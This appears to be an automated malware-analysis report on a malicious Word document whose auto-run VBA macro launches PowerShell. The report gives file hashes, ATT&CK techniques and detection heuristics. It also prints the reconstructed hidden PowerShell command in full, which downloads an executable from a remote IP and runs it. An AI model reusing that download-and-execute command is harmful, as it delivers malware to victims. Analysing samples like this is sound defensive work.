Office (OLE) / .DOC malware analysis — malicious · ce60b3120e2869e5

MALICIOUS

Office (OLE) / .DOC

629.0 KB Created: 2021-10-12 17:41:00 Authoring application: Microsoft Office Word

MD5: 0b39d52ca205c00f34fed4d203f7bfdc SHA-1: caa72e9c4efc7647f14b9b69510f59a22d93a40e SHA-256: ce60b3120e2869e59414abee55e658fde0f214ed18a8f29dfe09e855d59cc0fd

182 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File T1059.005 Visual Basic

The sample contains a VBA macro that executes upon opening the document. This macro constructs and executes a PowerShell command. The command is reconstructed as: powershell -w hide -Se 31;Start-BitsTransfer -Source http://18.195.143.183/7/7/IMG_07890103012311.exe -Destination C:\Users\Public\Documents\carsource.exe;C:\Users\Public\Documents\carsource.exe. This command downloads an executable from a remote server and saves it locally, then executes it. The macro also writes this command to a file named 'modelcrime.cm' in the public documents directory.

Heuristics 6

Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `0215eff98397502236bb170c761b26619908f6222d91bccb1025b42b6d747932`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	889 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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